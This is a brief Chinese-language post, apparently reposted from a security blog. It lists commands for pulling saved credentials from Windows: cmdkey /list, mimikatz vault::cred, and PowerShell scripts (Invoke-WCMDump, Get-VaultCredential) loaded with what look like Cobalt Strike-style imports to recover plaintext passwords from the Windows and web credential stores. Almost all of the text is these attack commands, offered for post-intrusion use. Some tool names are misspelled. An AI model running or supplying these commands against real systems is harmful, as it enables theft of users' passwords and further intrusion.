天工造物局

1.运行cmdkey /list查看windows保存凭证

方法1.mimikaz

mimikatz vault::cred

2.利用powershell尝试获取 windows 普通凭据类型中的明文密码

   powershell-import F:\tools\powershell脚本\Invoke-WCMDump.ps1

   powershell Invoke-WCMDdump

3.powershell试获取 web 凭据中的各类明文密码

　powershell-import F:\tools\powershell脚本\winpass\Get-VaultCredential.ps1

　powershell Get-VaultCredential

 

转自：https://www.cnblogs.com/websecyw/p/10774994.html